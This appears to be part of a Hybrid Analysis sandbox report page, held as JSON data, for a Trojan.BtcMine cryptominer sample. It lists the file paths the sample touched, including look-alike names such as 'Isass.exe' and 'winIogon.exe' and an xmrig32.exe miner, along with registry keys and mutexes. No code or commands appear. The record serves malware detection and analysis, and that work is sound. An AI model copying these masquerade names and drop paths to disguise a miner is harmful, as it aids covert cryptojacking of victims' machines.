owsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\WindowsAppCertification\\WindowHelperStorageHostSystemThread.ps1","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\WindowsAppCertification\\cert.cmd","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\schtasks.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\schtasks.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\system32\\en\\cscript.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\cscript.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\cscript.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\CreateShortcut.vbs","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\wscript.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\wscript.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\WindowsAppCertification","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\WindowsAppCertification\\checker.vbs","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\_Isass.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Resources\\Themes\\Aero\\Shell\\NormalColor\\shellstyle.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\Helpers\\SecurityHeaIthService.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\Helpers\\SystemldleProcess.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\Helpers\\winIogon.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\oleaccrc.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\\xmrig32.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\\driver.dat","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\wshtcpip.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\wship6.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\wshqos.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}]}},"report_ids":{"sandbox_job_ids":["59f6f0f97ca3e143677c8f27"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.BtcMine Sample e6aeef24c04a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample e6aeef24c04a…. Malware family: Trojan.BtcMine. Threat score 100/100. 17/28 AV engines flagged this file. 18 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.BtcMine Sample e6aeef24c04a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample e6aeef24c04a…. Malware family: Trojan.BtcMine. Threat score 100/100. 17/28 AV engines flagged this file. 18 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.BtcMine Sample e6aeef24c04a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample e6aeef24c04a…. Malware family: Trojan.BtcMine. Threat score 100/100. 17/28 AV engines flagged this file. 18 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4e","11",{}]]